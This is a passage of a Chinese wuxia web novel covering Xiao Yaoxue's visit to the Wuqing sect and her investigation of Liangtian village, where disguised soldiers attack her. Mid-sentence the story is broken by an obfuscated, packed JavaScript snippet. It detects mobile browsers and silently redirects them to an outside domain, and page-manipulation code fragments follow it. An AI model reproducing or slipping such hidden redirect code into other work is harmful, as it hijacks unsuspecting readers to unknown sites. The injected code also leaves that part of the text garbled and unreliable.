京都冬日寒风刺骨，李治一个上了年纪的经不住这样的冷风吹，一心只想着赶快上了停在门口的轿子暖和暖和。 眼见轿子就在眼前，身后却有一人叫住了自己了“李大人！”声音听起来比袁墨柔弱了不少，温润如玉，听起来却给人一种温凉的感觉。 转头一看，来人是赵江河，眼见温暖的轿子就在眼前，索性就邀请走来的赵江河一同上了轿子。 还未坐定赵江河就急急忙忙的开口道：“师傅，您之前让我改进的木偶，我做的差不多，这次的木偶我给他们的关节机关做了调整，虽然动作不再像‘千金’那般精确，但是操作却简单了不少。您若是得空记得来看看。而且呀我这次采用的木头更加轻便……” 李治看着赵江河一脸兴致勃勃，也是英气十足，虽然未习过武，但是也有那几分英雄气。这江湖上天才、武林高手、天下第一或许十年年可一遇，这朝堂上的明君、栋梁这五十年之内总会有这么几个，但是这机关巧术的匠人却是百年难遇，赵江河算是一个，上一个恐怕得追溯到东梁建国之前了。所以当时李治看到赵江河的才能就认定了他将来必然会是震惊东梁的存在，如今开来他更相信自己的感觉，只是这样一个巧匠日后的路该怎么走还是要他自己定，毕竟他已入得这朝堂，恐怕有些事也会身不由己吧，李治只希望在他的庇佑下，这位天才可以更快的成长起来，但是也希望自己的这种庇佑不会对他以后造成困扰吧。 “江河，你做的很不错，但是记住这东西除了我以后谁都不可说，等到时机成熟了，我会让你拿出来的。”李治知道赵江河这人说起他的研究就是这般滔滔不绝，若是不及时打断，他回家王氏和安国估计饭都吃完了。 赵江河突然被打断还有些不适应，开口问道：“为什么呀，师傅，我看最近西边和南边的战事都吃的紧，这木偶要是上了战场，那必然大大增强我们力量呀！” “江河，这件事你就不要多问了，话说你之前与那袁姑娘的婚事怎么解决的？” 李治并不想继续这个话题，想到之前赵江河和袁梅还有这一桩事情未了，便将话题转到了这，这次就换作赵江河想换话题，但是毕竟是师傅问的，不答他老人家估计又要不乐意了。“袁姑娘希望退婚，但是……但是那日我没带婚书，所以没退成，之后我们都没怎么见面，这事也就……” 见赵江河说得结结巴巴李治大抵也明白这孩子的心思，恐怕是对那袁梅还是有所好感，其实赵江河样貌不差，整日窝在房子里皮肤也白皙，没有武人的那股子糙劲，若不是京都中的姑娘不常见他，不然估计门口还是会有好几封婚书了。李治整日揣摩圣心的人，看人何等细致，这赵江河一点情窦初开的小心思哪能逃得过他的眼睛。 “江河，要我说，若你最近觉得木偶研究得差不多了，你那《机巧录》我看过，里面那千机伞挺不错的，你研究研究改进改进，做一把送给那个袁姑娘。好了，时辰不早回家吃饭吧。江河也一起了，你师母也许久未见你了。” “啊？是，师傅。” 武清宗位于落雁山，一面朝着中原山清水秀，一面向着沙漠寸草不生，这样的场面着实少见，武清老祖早年游离至此就觉得这山是奇山，必定是有气运藏于其中，所以之后当他有了开宗立派的想法，想到的第一个地方就是这里。果然回雁山确实给武清宗带来了足够气运，武清宗创立之初只是江湖上一个不出名的小门派，虽然当时的武清在江湖中也是神名鹊起，但是没有人看好他这么年纪轻轻就创立一个门派，而且还是在这一个鸟不拉屎的地方，可没想到这武清宗刚刚创立，沧州马家就给送来了一份大礼，真金白银足足十箱，这一下就解决了刚刚成立的武清宗的燃眉之急。没有被其他的门派扼杀在摇篮里。之后马家也是将自家的适龄年轻人、家丁送来学习，不时还给武清宗送来不少武器，又给武清宗省去一大笔钱财。其实这也是为什么这次马得源可以如此笃定武清宗会收下他的原因。 此时的武清宗已经热闹非凡，迎来送往的武清弟子，给每一位即将求学于这个传说中的魔鬼宗门的学子引路。 萧妖雪带着李无忧来到这武清宗门前，有一对学童已经在门前等候他们了，见二人到来，便快步迎了上去，将二人引到武清老祖的院子，萧妖雪没想到，这武清老祖的收徒仪式倒是简略的很，不过也与这个人性格相符，想当年师傅来见他，就这么一间破房间，也没什么招待，没想到这次他收个徒弟还是那么简陋，难怪京都里那些富家子弟看不起呢。 几人还未走到，就看到一人松松垮垮的靠在院门上，看样子是在等他们。那人身着灰色长袍，白色里衬，头发简单的挽在脑后，却不似那些游走江湖自称神仙的人一般留个长胡子长眉毛的。此人面部打理甚是干净，搭配上他的衣服和作态，反倒有种少年老成的感觉。 听到脚步声，那人抬头看了一眼几人，两个学童恭敬地拱手道：“见过老祖。” “你们可算来了，我在这等了这半天了。”武清则是随意一挥手，两小儿默契的退开。 武清看向了李无忧身后的萧妖雪，李无忧只觉得他看姐姐的眼神就像他两人似乎已经认识很久一般。果不其然武清接下来的话印证了他的猜想。 “妖雪呀，你先到我屋里坐坐，我先带这小子去把拜师礼给行了，这些个长老真是麻烦，非得弄这么个仪式。” 果然！不愧是我姐，一宗之主都认识，李无忧心中想道。 只是这武清怎么说完就带着李无忧走了，作为一宗之主，就这样随意让一个年轻姑娘进屋，这合适吗？ 这很合适，清老祖是一个很神奇的存在，宗门内的大小事他似乎都不太会参与，但是每每宗内遇到个什么擂台比武、什么年什么节、摆了个什么宴席，往哪犄角旮旯里看，总是不会缺少他的身影。他不讲礼节，为人随性，所以萧妖雪自然不会和他拘束，谁知道那拜师仪式要多久呢，还是进去坐着等舒服。 萧妖雪不客气的走进了院子，院子里简简单单种了些花草，不算茂盛，但是也还是有些点缀的作用。进了里屋，屋内的装饰还是一如既往的简略，木质的桌椅上面有明显的水迹，看来这房间的主人也是为了迎接今日的来客特意提前清理过了，茶壶里有刚刚切好的茶，散发着淡淡的清香。 一杯茶喝下后，冲散了回雁山留在嗓子里的风沙，看着这屋内的陈设，不由得想起那年师傅带自己来这情形。 如今再回来，武清虽然看起来容貌与当年无异，似乎性格也还与当年差不多，只是自己已经不再是那个图个乐子的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610504|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩了。 李无忧跟随着武清来到了武清宗的宗庙，这个宗庙相比于李府的那宗庙就显得很一般，里面同样是燃着长明灯，但却没有那股淡淡花香，取而代之的是一股香烛的味道。供奉的排位也不算多，很多地方都是空出来的，毕竟这第一任掌门都还健在，着实没有多少能供的。他们到时，有几个武清宗的长老已经在里面等着了，看到武清带着李无忧进来也纷纷上去行礼。在长老几句简单的开场之后，李无忧被引导着拜了祖宗，又拜了师傅，整个拜师仪式并不复杂，不到一个时辰就结束了。之后就有专门的门内弟子带着李无忧去了参观整个武清宗，而武清也落得清闲，便回去寻萧妖雪了。 举行拜师仪式一个时辰不算长，但是萧妖雪在这房间中等了一个时辰，着实有些无聊了，正当她有些昏昏欲睡的时候，门口传来了脚步声，武清推门而入，萧妖雪起身道：“武清叔叔。” 武清也是看了看自己简陋的房间也是略感愧疚的道：“额，房间有些简陋，妖雪你多担待哈。”说完尴尬的笑了两了声，他倒也不在乎现在萧妖雪是什么身份，反正在他看来，只要进了这屋子都是他的朋友，这屋子的主人是他，他怎么舒服就怎么来，其他的那些个客人交给长老们应付就行。 看着现在的萧妖雪与七年前那小姑娘简直是天壤之别，关键现在看起来不如以前乐呵了，似乎这眉间缠了不少心事。 武清坐下给自倒了一杯茶，又给萧妖雪的杯子填满，开口道：“西域消息闭塞，前几日刚听说李府认回了女儿名字和你一样，我还在想这天下还有这么巧的事，没想到今日一见还真这么巧。不过话又说回来，云雁既是希望你去京都了，想必会有她的安排，那里是她应该在的地方，或许也是你应该在的地方。她也邀请过我去，但是我拒绝了，天下之大，我哪都该去，唯独哪里不应该有我的身影。” 听着武清这样絮絮叨叨好久，萧妖雪这段时间若即若离的孤独感，突然消散了不少。 武清知道这女娃打小看起来就不喜欢这些抒情的环节，现在自己才说了几句，她的眼神就开始飘忽了，急忙控制住自己还想和她把茶言欢几个时辰的想法给控制了。 “妖雪，你师傅……最近还好吗？”却不料自己这突然转变的话题，打断了萧妖雪的思绪，孤独感又快速回笼。 萧妖雪开口想要回答，但是也突然发现，自己已经许久未见师父了，她还好吗？ 武清见她面露难色，倒也未再追问，而是自顾自的说到：“上次你和你师傅来，她交给我的信我已经传了，对方似乎也做出了选择，只是我不知道，这是否是她希望的结果。末了她交代我若是以后你来了西域要我护好你，我以为她只是随口一说，但是没想到你真的来了。但是我曾经立过誓，我不会越过回雁山半步，西域我去得，但你回程的路我确实不能陪你走了。不过云雁是你的师傅，我相信你的武功也确实不错，只要不要遇上那些武榜前十的人，谋一条生路应当没什么问题，若真是遇到什么你无法解决的问题，这是武清宗的求援信标，届时我会亲自出手。” 萧妖雪虽然明白此次来武清宗必然还有埋伏，但是也没想到，先是马家又是武清，都一再提醒自己注意，这西域恐怕是盘踞着一股未知的力量，这不由得让萧妖雪想起了先前骨谙提到的良田村，看来这地方必然是要去一趟。 萧妖雪小记： 那是萧妖雪到了潇湘阁的第三年春天，萧云雁突然回到了谷内，说要带她去个地方，二人只是简单收拾一番，便出了谷，那时候萧妖雪足足骑了四天的马，那是她第一次骑这么久，每天晚上躺下后，腰和腿都酸疼得她睡不着。终于第四天她们到了这大漠之中的武清宗，她们也如今日这般，一进山门便被引到了武清老祖的院子，要说那会的院子还比现在破了不少，估计是这些年风沙吹得太大，武清宗的人才帮他又再加固了一下。 师傅与武清老祖似乎也是旧相识，二人见面一段寒暄后就开始谈论现在朝堂局势。说了很多现在的萧妖雪也是记得模模糊糊，只记得萧云雁请武清帮了一忙似乎是让武清去送一封信邀请邀请一个人去参加一场宴席，但是信里面的内容萧妖雪就不得而知了。 之后又将萧妖雪给武清引荐了一番，这武清当时就挺喜欢萧妖雪的，之后她们在武清宗住了几天。 只是这武清与萧妖雪想象中的强者简直天差地别，这武清总是妖雪长妖雪短缠着她玩，当时萧妖雪也是在谷内整日学书学武累的要命，遇到个这样有趣的叔叔倒是也落得开心。最后萧云雁带她走的时候她倒还有些恋恋不舍。 可是后来当萧妖雪在一本卷宗上看到了对于这位武清老祖一剑断秋水的记录，才真正明白什么叫做少年英气，这是她第一次看冰冷的卷宗看得热血沸腾。 怎奈何光阴易逝，那热血沸腾的少年，如今也生了华发。 但是在斗蛐蛐的时候他看起来还是很热血！ 21. 探良田村 好花不常开，好景不常在。如今良田村就如同黑暗中的一把利器，直指李家的后背。萧妖雪没有坐视不理的道理，如今距离徐战回京已经过去月余，同样对于良田村的异样也已经月余。这段时间足够一个阴谋的诞生了。 正当萧妖雪决定起身道别，忽地一个念头从脑海中闪过“武清叔叔，当时师傅托你送的信是给马家的？” 武清点头。 “你认为他们做出的选择是马家家主马志才去赴了李府办的英雄宴？” 武清再点头。 果然这可能才是这次马家愿意冒着顶撞顶撞京中豪门也不愿意对李家下手的原因。 要说这英雄宴，当时李治才当上这宰相不久，便摆了一场惊为天人的宴席，就在京都外的鹿坪丘，他给东梁境内无论士农工商只要数得上名号的大家都发了请帖，虽然不是所有的家族都愿意前来赴宴，但是当时还是有不少家族还是希望亲近这位新上任的宰相，所以前来赴宴。据说当时李治也是在潇湘阁一掷千金，让潇湘阁帮忙送信邀请，而其中一部分的人脉还是潇湘阁提供的。 之后李治在鹿坪丘设宴三日，期间丝竹歌舞不断，山珍海味只要你要，便有侍女奉上，更别说那好酒，据说那几日单单从京都运出的酒倒入护城河，恐怕都不够装。但是自此宴之后，李治的宰相位置就好坐多了，但是弹劾他贪腐的折子也再也没断过，毕竟他这一场宴会的花费恐怕已经赶上了国库的十分之一，这哪是寻常官家能撑得起的场子，他这钱恐怕来路非凡。只是那些折子翻来覆去就是找不到他的证据，只是能是一片谩骂。 这也是李治被打上狗宰相的最初的原因。萧妖雪想问，是因为这是她在潇湘阁十年中唯一一件让她隐隐觉得师傅与父亲或许站的暗中有联系的事情。 那当时萧云雁千里迢迢跑到了西域就叫武清给沧州马氏送一封信，这看起来与那场夜宴的荒唐不相上下。只是这目的萧妖雪希望等到武清一个回复，但是屋内的寂静久久未被打破。 萧妖雪已经起身，见武清似乎并不打算展开说说，也失了继续探讨的兴趣，迈步就打算往外走，武清却突然开口道：“你师傅让我送的这封信，是为了你，她说以后马家会是你的一大助力。” 真的只是师傅的安排吗？萧妖雪听后也只是不知所以然的点了点头，便迈步出去，武清也跟了上去。越过了这沉重的话题，武清又恢复那副懒散的模样，开口道：“妖雪呀，你要不在武清宗多住上几天呗，你看我们这山清水秀，着急回那京都作甚。你武清叔叔也是许久未见你了，也不知道你这一走，我们何时才会再见了。” 说完这一宗之主竟然开始假惺惺的捏起哭腔，这弄的萧妖雪反倒有些不好意思了，虽然之前就知道他这人就是这样，不过没想到过了这么几年了，他还是这样，年纪不小，但心性却是一点不长。 听师傅说他们是在游历江湖时遇上的，二人同行了一段时间，之后便分道扬镳。直到这武清一个人提着一把剑就上了云阁找路行单挑，没想到刚好遇到从云阁出来的萧云雁，他不知道是哪根筋搭错了，突然就缠着萧云雁比试。当时萧云雁想着让他几招，让他赢了便就此离去，可没想到这小子挺较真，就说萧云雁没出全力，最后给她说火了，直接凝气为枪，和武清过了几招，最终武清重伤落败，最后还是萧云雁带他去了附近的潇湘阁养了伤。自此之后他似乎对萧云雁的就特别敬佩与信任，只是后面萧云雁进了京都，而他却被下了禁令不得跨过回雁山，二人就很少再见面了。 如今他对萧云雁这小徒弟也是非常喜欢，虽然劝萧妖雪留下语气是做作的，但其实这确实是武清心中真实之想，毕竟离开了武清宗，他恐怕再难护她平安。 萧妖雪或许听出了他言语中的那一丝真情，开口道：“武清叔叔多谢你留我，但是京都还有人在等我，我不得不走。你放心，我不会有事的。” 果然女娃大了就留不住咯！ 武清走在萧妖雪前面，眉毛已经拧作一团，最后还是只能是一句叹息随着大漠的风沙飘走，却并没有飘进萧妖雪的耳朵。 二人来到李无忧的房间，武清并没有进去，而是拖了个故离开了，萧妖雪进去看到，之前李府送东西的家丁已经到了，正在帮忙收拾东西，房间不算大，但是胜在敞亮，两人一间，还有一个不小的院子。要不说冤家路窄，与李无忧分到一间的恰好就是最后角逐冠军的马得源。 萧妖雪都不敢想日后他二人住一起，这里小院会不会被掀了。 李无忧看到萧妖雪进来，忙走上前去，男孩眼中分明是透露出了不舍，毕竟这一别可不是从书堂到家那样方便了，他也有些舍不得这个刚认识几个月的姐姐。萧妖雪摸摸了他的头道：“无忧，想家是难免的，但是这一切都是为了未来，一年后我就来看你。届时我把京都发生的所有事都记下来讲给你听如何？” 李无忧自然听得出萧妖雪在安慰他，他也想像父亲、像哥哥那样摆出一幅无所谓的姿态，可是刚开口就暴露了他的心声，“雪姐姐……”他的声音不受控制的染上了哭腔，但是话已出口，不如就说完吧，也不再哭腔了，眼泪也不争气的落了下来：“雪姐姐……你记得……记得一定要来看我……等着我以后学成了……厉害了……我会保护你的。”萧妖雪看他这样也是心痛，可奈何天生就不太会安慰人，只能将男孩抱住，轻拍他的后背。 分别的悲伤萦绕了很久，眼见太阳已有西沉的迹象了，萧妖雪也是时候离开了，又嘱咐了李无忧不少后，在学童的带领下，走向了武清宗的大门。 武清在大门处等着萧妖雪，本意是留她在武清宗再过一夜，没想到她也如同她师傅那般如此决绝。他们之间道别的话语似乎没有多少可说，武清拿出一个木箱，木箱很普通，上面没有花纹，一看就是武清随手抓来的。 萧妖雪接过木箱，里面是一柄通体漆黑如墨的宝剑，这把剑剑身纤细，剑鞘上有暗刻的花纹，仔细一看是一头下山的白虎，饿虎下山，必见血光；墨剑出鞘，嗜血而归。但是虽为利器，却就这么安安静静躺在木箱里，没有散发出一丝戾气。 武清道：“这墨剑在我这好些年了，你也知道我不喜用剑，这剑我就交给你了，你带着它去京都寻一个好主人吧。” 萧妖雪也不推脱，将木箱合上，但却没有背上，而是由交还给武清道：“武清叔叔，现在还不是这柄剑入京的时候，你把它留好，我想待无忧学成之后，你就把这柄剑交给他。我知道你不喜欢用剑，但是‘秋水剑’的称号你也别辜负了，你用不上就传给无忧吧。”说罢，便转身离开，留下武清利于原地。 “呵，秋水剑，浮名罢了，若是没有这个称号，或许现在也不会在这风沙之地流离吧。”武清低声呢喃着走回了宗内。 这日的晚霞绚烂无比，染红了半边的天空，向着沙漠深处蔓延而去。冬日的大漠，没了太阳的照耀就会迎来寒冬，人们总是要在寒风吹到之前，寻到那一处落脚点，免得成为这寒风中的一具尸骨。 萧妖雪离开武清宗并没有再回落雁关，而是快马加鞭的向着京都的方向赶去。此时的晚霞已经散去一半，寒意开始慢慢席卷大地，她必须要在天黑之前赶到今日的目的地——良田村。 良田村距离回雁山并不算远，快马加鞭不过两个时辰就到了，只是之前在武清宗流连的时间还是有些久，萧妖雪到良田村的时候天已经彻底黑了。良村的灯光在漆黑一片的大漠中好似那陷阱前的诱饵，看起来如此人畜无害。 萧妖雪戴了一个男子的人皮面具，又换了一身学子的服饰，才靠近了良田村，现在还不是亮明身份的好时候。 马蹄踏在碎石路上，发出了清脆的响声，还不等萧妖雪扣门，就有村民从家中出来围住了她。萧妖雪下马，正打算开口借宿，一个村长模样的人走了出来道：“我们这个村不方便留宿，你赶快离开吧。” 萧妖雪能明显感受到这群人的敌意，但是今天这良田村她是住定了，于是开口道：“老先生别这么绝情吗，我这一路过来都没见别的村子，好不容易看见点人烟你们还不给我住，你看着天黑了，风又大又冷，你让我再去哪找住处，恐怕我还没找到就要被冻死了吧。” 可谁料这村长依然还是这般不讲道理：“你爱去哪去哪，反正我们这住不得。” 萧妖雪一时无语，这人怎么这么不讲道理，看来对不讲道理的只能……“这里是五十两银子，我看你们村头有几间房子也没人住，我就住那，也不劳烦你们，你看如何？”说罢把银子送到了那村长面前。 五十两银子，换谁不迷糊，这村长刚刚坚决的态度，很快就松懈了不少。眼睛上下打量一遍萧妖雪，开口道：“那个公子呀，不是我不让你住，是我们这村子最近马贼太多了，我也是担心您的安危呀，您看这钱我也不能白收你的，村口那几间屋子离得远了些，若是马贼来了，我们也帮不上什么忙，这村中有几户人出了远门，你不如就住进来，这样也安全一些。” 萧妖雪略作思考状，然后说道：“好呀，老先生果然是好人，还是您考虑的周全，那就劳烦您带个路。” 村长收了钱，虽然眼角还是留有一丝顾虑，但是乐得嘴角都压不住，其他村民见了也只能是低声交谈几句便各自回家，但是每个人看萧妖雪的眼神中都透露着一丝怜悯。 良田村不大，以一口古井为村落的中心，村民由此发散出去安家，晚上的村落很是寂静，村民在家中交谈都是轻言细语的，好似怕惊动什么一样。村长将萧妖雪引到一处住宅，这宅子位于一条小巷之中，进出只能通过门前的那条小路，若是院门不开，那就是一条死胡同，院门开了，那就是多一个院子的死胡同。 村长将萧妖雪带到后，便将她的马牵走了，萧妖雪环视整个院子，这院中布置整齐，不似自家院子，反倒像酒店客栈专门留给客人的房间，看来今天那五十两银子足够钓出条大鱼了。 刚刚那村长透露着怪异，萧妖雪可以感受得到那位老人家一开始是真的不希望她留宿，但是这样的不希望中似乎还透露着担忧。 虽然后面收钱 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这五人穿着打扮显然不是村中之人，腰上挎着的是西域马贼最喜欢的弯刀。早年武清宗还未在回雁山落脚，西域的马贼换谁都怕，当时他们的目标已经不再是简单的商队，就连上任的地方官都要强，若是不给钱，直接把脑袋摘走。之后武清宗落定后，武清老祖亲自带人清剿，这才让西域的马贼收敛一些。随着武清宗的壮大，马贼行事也越来越低调，但是始终没有彻底消失。 难道说这良田村附近也有个马贼窝子，但是马贼直接进村杀人这事倒是很奇怪。良田村因为早年收成比较好，这里的人生活也比较富裕，后面为了更好的管理西域，圣人亲自下令，在西域加设了十个官府，其中之一就设在了良田村。那这群马贼竟然还在官府眼皮下面活跃，这事确实不寻常。 要说这马贼在官府眼皮底下活动不合理，但是如果换一种思路来看这群‘马贼’或许就合理了不少。如果说他们是兵那一切就解释的通了。 这几人虽是马贼装扮，但是行事非常小心，而且他们的手势用的都是军中联络时的手势，虽说有些逃兵或者退了武的兵将，也有落草为寇的，但是这几人行动谨慎，眼神中透露出来的那种凶厉不似逃兵或者老兵，更不寻常的是他们的行动中隐隐有气息的波动，这更不是一般的兵士会拥有的。 武清小记： 自从武清在无量山一战成名后，这小子在江湖上可谓是名声大噪，只是武清没有想到的是，来找他不仅仅有讨教武艺的，竟然还有不少政客邀请自己去做门客。对于东梁杜绝江湖人染手朝堂之事武清早有耳闻，但是他没想到这些政客竟然还会有这样的理由来招揽。 也是出于好奇，武清动身去了京都，想看看这些大人物是怎么操作其中的，才到京都之时一切都顺利，招揽他的是当今兵马司正职单骁。 武清也是不去不知道，一去吓一跳，这单骁作为朝廷重臣门下的江湖人士足足有二十余人。那一日在府中匆匆一瞥，武清认出了不少江湖上大有名气之人，但是也有不少他无法判断身份的。 可是作为一个涉世未深的少年英雄，武清要的却不是金银财宝，也不是平步青云。他就想在这江湖闯闯，看看这人这事。当时离家之时父亲也曾嘱咐过自己，行路莫问前程。 所以当单骁再次提出邀请之时，武清拒绝了。但是武清并没有注意，单骁逐渐阴沉的表情，而是一拱手一抱拳就潇洒离去。 离开单骁的府邸，看着这京都街上卖的剑穗甚是好看，又想起父亲的那个稀稀拉拉的剑穗，便想着顺手买一个，如今离开也快一年了，是时候回去看看了。 于是便在这东梁最繁华的京都逗留了几日，给母亲买了几根好看的簪子，给妹妹买了锦绣楼最新款式的衣裙，这才心满意足的启程回乡。 可是比父母更先见到他的是一个长相清秀，但是整个人却像不能见光的阴郁的男子。 “你不可以再向前了。”男子道。 “为何？”武清以为又是一个来找自己讨教的人，也不曾放在心上，但是对方出言如此不客气，难免生了些火气。 “你会死。” “你要和我打？” “不是。” “那你为何拦我？” “有人算好了你回去的日子，打算杀你全家。” “你觉得我信？” 武清看来人并不是要与自己讨教武学，也便失了兴趣，断秋水出鞘，与那人过了几招，将对方逼退，提起轻功就将人甩在后面，快速的离开了。 男子本意继续追赶，却被身旁身后的一个声音叫住。“袁清算了。” 袁清急忙回头，来人正是周钦德。 “殿下，他这样去是送死。他这么重要的证人，若是死了我们又要等多久才能抓到那个狗官的辫子。” “他不听劝我们也没办法，徐战，你去找几匹快马，我们赶过去希望他的武功能撑一会吧，我堂堂王爷可不想给人收尸。” 22. 探良田村2 上回书说道，这身份诡异的五人进得屋内，放眼望去却并未发现什么借宿的学子，几人心中顿时一沉，一股不祥的预感涌上心头。值此多事之时，若是因为他们坏了大事，这责任他们可担待不起。 有人快速抬头看向房梁，很快就发现了，躲在房梁上的萧妖雪，腰间弯刀出鞘，直接向萧妖雪投掷过来。萧妖雪翻身跃下房梁躲避了那一刀，快速闪身到那个掷出弯刀的马贼身后，将气息凝聚在手掌上，一掌劈向那人后颈，气息侵入他的体内后瞬间喷发开来，那人还来不及还手便晕了过去。 与此同时另外四人也都没闲着，同时提刀向着萧妖雪围了过来，萧妖雪看准其中一人，侧身躲过他的刀锋，手掌打在那人的手腕上，看似轻轻一震，实则是气息入体，爆裂开的瞬间，将那人的手筋震断，剧痛之下，那马贼无意识的松了手中的弯刀。再抬眼时另外那三人也已经持刀冲到了近前，萧妖雪一把捞过弯刀，向前一档，刚好挡住了劈过来另外三把刀。 气息凝聚在刀上，向外一推，三人向后飞了出去，身后刚刚被夺了刀的马贼，忍着手上的剧痛，左手拿出一把匕首向着萧妖雪的腰窝就刺去。只见萧妖雪闪身躲了过去手中弯刀在那人脖子上划过，看似只是一道小口，但是鲜血就咕咕的往外流，一会那人就没了生机。另外三人见已经死了一人，也不恋战，转身就想着门外跑去，只是最后那人还未走出大门就觉得心口一凉，一柄弯刀就差在胸口，没有预料中那样的疼痛感，只觉得全身发冷，动荡不得，最后直挺挺的倒了下去，而剩余的两人则成功脱逃了。 这时萧妖雪也看清了门外的情形，昨夜的那些村民已经聚集在巷口，探头探脑往里面看，那两马贼跑了出去，竟然无一人敢出手阻拦，而是任由他们跑出了村落。 这样的情形萧妖雪也有所预料，且不说他们只是普通老百姓，如今良田村这情形，要说这两拨人没有勾结鬼都不信。 但是萧妖雪是什么人，难道没有了这些平民老百姓出手，她就会交代在这，那定然是不可能的。 萧妖雪将那个晕倒的马贼绑了起来，调整了他位置，确保他只要一睁眼就可以看见另外两具已经彻底入了黄泉的尸体。 哗啦！拿起了一碗水，泼在晕过去这人的脸上，受到凉水的刺激，那人终于从昏迷中醒了过来。 李虎十六岁的时候就上过战场，跟了个不错的将军，没打过几场败仗，后面就被选拔加入了徐战的鬼字营，之后的行事就颇为狠辣，前不久，徐战奉召入京，除了鬼字营谁也没带，却在走到良田村时，将他们安置在了此地。 虽然在战场也见过死人，但是远不如现在他看到眼前这两具尸体带给他的恐惧多，他睁眼就看到自己同伴死去，而院门处还躺着一人，此时他的内心已经彻底凉了。虽然将军说，今天这学子估计不简单，足足派了五个人来，但是这怎么五个人还是死了两人，一人被俘，这学子到底是什么样的存在。感受到身上的麻绳捆的很紧，凭借自己是无法挣开的，他也放弃了挣扎，毕竟他知道今天他们的刺杀对象实力远在他们之上，现在一切的努力都是白费的。 “醒了？那就和我去趟官府吧。”耳旁传来的一个动听的男声，声音不算低沉，听起来倒是那文绉绉的书生的声音，可谁也没想到今天这书生竟然是块硬骨头。 见李虎不言语，萧妖雪也是一提麻绳将李虎从地上拉了起来，推着就向门外走去。路过巷口时，看到那些村民指指点点的，萧妖雪倒也无心听他们说些什么，对着当时引她来住这房子的村长问道：“劳驾您带我去下官府吧。这马贼好不容易抓到的，若是又跑了岂不可惜？” 村长听到这话只觉得后背发凉，他甚至有一种错觉，这个年纪不大的后生他就是故意的。但是就算他是故意的，他一个手无缚鸡之力的平头老百姓又能如何，如今前后都是虎狼，他一个小老头，只能任凭安排。只希望那些大人怪罪下来，可以留他们一条生路。 良田村的官府算不上气派，一个简单的院落，知县宋元早就有人来和他说了情况，现在他也是早早的等在了府衙门口，看到萧妖雪带着那个马匪来到来到门口时，宋元的心已经提到了嗓子眼。李虎他认识，当时他作为一个小头目还来良田村与自己谈过，如今若是得罪了他，估计自己这官帽也带不了几天了。至于这自称是游学的学子，看起来也不是善茬，杀了他们两个人又把李虎给活捉，该不会今日处理不满他心意，他就会直接把自己的脑袋摘了吧。 就在宋元还在纠结的时候，萧妖雪已经带着李虎走到他的近前，躬身行了一礼道：“在下李万，出门游历至此，不巧遇上了马贼劫舍，萧吴不才略懂拳脚，活捉了这一个马贼，只是当时出手不当，不小心将另外两人误杀了，若是宋大人想为那两个马贼鸣冤抓了我，我也无怨言。” 此时的宋元就觉得自己就像被夹在火上烤了一样，焦头烂额，思考了好半天才说道：“李公子行侠仗义，我怎会有怨言，只是公门中办事也有规矩，我们进去细说。” 进到内堂，宋元带好乌纱帽，坐上了主位，萧妖雪和李虎站在厅堂之上，没有一个人愿意跪。宋元也不好多说，只好按着规矩开始例行询问：“台下二人因何事，要上这厅堂呀？原告先说说你的情况吧。” “回宋大人，昨夜我留宿良田村不料遇上了马贼劫舍，在下略懂拳脚，将这马贼绑了过来。”宋元看着李万这轻飘飘两句话，这怎么看都江湖故事听多了的书生。只是宋元不知道的是，面对这几个马贼可不是随便听几个江湖故事，看几式拳脚就能全身而退，甚至击杀两人活捉一人的。 “在下李虎，昨夜听说村里来个有钱人，出手就是五十两银子，就想叫着弟兄们去碰碰运气。”又是这样轻轻的一句话，宋元却觉得脑袋上的乌纱帽沉重无比。 二人的说的都很简洁，因为在场的三人都知道点什么，他们还能不清楚。 这时候宋元就发话道：“李虎聚众伤人，先收监，李公子属于正当防卫，还为良田村打压了马贼，是良田村的恩人，日后有用得上良田村的时候尽管提，我代表良田村的村民感谢你。” 说罢就有衙役上来将李虎压了下去，萧妖雪也在良田村村民的欢送下离开了村子。 宋元将李虎压下去后回到了后院，就看了见那个令自己汗毛倒立的身影。 那人身穿一件黑色的铠甲，看起来就像是被鲜血侵透了之后有风干一般。他没有带头盔，头发高高束在脑后，长期的风吹日晒，头发有那么一丝泛黄、干枯，但是可以看出来束发束得很认真，没有一丝落下来的碎发。他腰间挂着一柄刀，刀柄上有一颗雕刻的虎头，宋元每次看到那虎头都觉得那老虎的眼睛在盯着自己，似乎把自己当作了猎物。 宋元躬身施礼道：“宋某见过孙将军，今日之事还劳烦孙将军跑一趟是小的无能。” 被称作孙将军的人瞥了宋元一眼道：“宋大人言重，这事怎么能怨宋大人呢，是我孙凯之考虑不周了。反正那人也走了，李虎我就带回去了，之后的事宋大人也不用再管了，您呢也不用有什么压力。诶，不过我还是要提醒宋大人一句，这秋收的粮食差不多该交了，免得又误了送到京都的时间了。” 宋元战战兢兢的送走了孙凯之，之后就脱力一般的坐地上，这段时间只要这尊煞神来这都不会什么好事，希望这次良田村也可以安稳度过这劫。 此时萧妖雪单骑离开了良田村，这里毕竟是西域，地势平坦一望无际，所以在她后面远远跟着的那两骑也是显而易见。良田村的那地方官一看就是与这批马贼有所勾结，继续留在那恐怕只会打草惊蛇。骨谙说过马家派去良田村探查的人都是有去无回，那么显然那些马贼也不会让自己活着离开这。 只是派来跟踪的这两人武功也是一般，看起来练的都是沙场上的功夫，丝毫没有气息波动。 恐怕只是为给之后出场的大角色引路，对于萧妖雪这次造访良田村用的假身份，他们也探不出虚实，所以并不想在什么都还没查出来的情况下就暴露太多。 良田村的情况萧妖雪是大致清楚了，继续让他们跟着等着把那个高手等出来的事情显然不是什么好的计谋。 大漠之中风沙大，确实是个埋人的好地方。 出了良田村几里地，后面那两人还在远远的吊在在萧妖雪的身后，看着这位公子哥向着京都的方向不慌不忙的前进。就在二人不注意的时候，他们身后的沙子里忽然有什么东西动了一下，下一秒两道白影穿过了二人的身体，生命没有立刻就凋零，他们还想拿出腰间的信号弹请求支援，可是手还没放到腰间，被白影贯穿的地方突然有一道气息迸发开来，二人霎时间变成了两摊血雾，只留下两匹马儿还在原地等着主人的命令。 